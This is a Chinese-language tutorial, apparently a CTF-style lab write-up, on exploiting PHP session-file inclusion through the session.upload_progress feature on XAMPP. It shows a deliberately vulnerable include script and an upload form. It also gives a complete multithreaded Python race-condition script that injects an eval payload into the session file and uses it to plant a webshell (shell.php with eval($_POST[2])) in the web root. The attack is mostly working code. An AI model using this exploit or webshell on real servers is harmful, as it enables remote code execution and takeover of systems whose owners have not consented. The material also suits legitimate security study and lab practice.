原理讲解
这里使用的window下的xampp下进行的。php.ini文件默认在xampp\php\php.ini
php.ini里面有两个关键默认的选项。先认识一下,我门后面用到的时候会进行详细讲解。
- session.upload_progress.cleanup = on
- session.auto_start=0
默认根目录xampp\htdocs\
在这个目录下,我门放一个sess_.php
文件
<?php
session_start();
include($_GET[1]);
首次访问,f12查看Cookie,
此时session存储在xampp\tmp
下
而且我们会发现,文件名为sess+PHPSESSID
的值。
此时这个文件里面是没有任何内容的。如果我们可以往里面写进去一些东西,比如这样。
再这样http://192.168.31.204/sess_.php?file=C:\xampp\tmp\sess_r98dmqvlhbnfo3ropres7pb0cm
去访问。
就可以弹出计算机了。
可以看出来如果我们想要执行php代码,或者执行系统命令的话。
1.session_start()
2.知道我们session的存储位置。
3.给session里面写入我们的恶意代码。
php.ini有一个选项session.auto_start=0
默认是关闭的,但是如果它是打开的,条件1就默认满足了。
在Linux系统中,session文件一般的默认存储位置为 /tmp
或 /var/lib/php/session
,假设是默认设置。
而第三个条件就比较复杂了,先改一下配置文件php.ini的选项session.upload_progress.cleanup = on
记得要去掉前面的“;”。
cleanup=on表示当文件上传结束后,php将会立即清空对应session文件中的内容。默认设置是off。我们先修改一下看看可以写入什么东西。
先写一个sess_.html
<!DOCTYPE html>
<html>
<body>
<form action="http://192.168.31.204/sess_.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="C0ocr" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
抓个包,加个Cookie :PHPSESSID=C0ocr123
此时tmp目录下已经写入,文件名为sess_加上Cookie :PHPSESSID
的值 C0ocr123
这个的值是可控的,我们可以把它写成我们的恶意代码。
脚本实现
但是如果session.upload_progress.cleanup = off
的值不是off 而是默认的选项on 该怎么办。
这时候就需要条件竞争了。当还没有清空对应session文件中的内容,我们就已经包含了session文件并且执行了里面的恶意代码。
import requests
import io
import threading
sessionid = "C0ocr"
url = 'http://192.168.31.204/sess_.php'
data = {"1":"file_put_contents('C:\\xampp\\htdocs\\ctfshow\\shell.php','<?php eval($_POST[2]);?>');"}
def write(session):
fileBytes = io.BytesIO(b'a'*1024*50)
while True:
response =session.post(
url,
data = {
'PHP_SESSION_UPLOAD_PROGRESS':'<?php eval($_POST[1]);?>'
},
cookies = {
'PHPSESSID':sessionid
},
files = {
'file':('txt.jpg',fileBytes)
}
)
def read(session):
while True:
response = session.post(url+'?file=C:\\xampp\\tmp\\sess_'+sessionid,data=data,
cookies = {
'PHPSESSID':sessionid
})
response2 = session.get('http://192.168.31.204/shell.php')
if response2.status_code == 200:
print("=======done======")
else:
print(response2.status_code)
if __name__ == '__main__':
event = threading.Event()
with requests.session() as session:
for i in range(1,30):
threading.Thread(target=write,args=(session,)).start()
for i in range(1,30):
threading.Thread(target=read,args=(session,)).start()
event.set()
shell.php写入成功。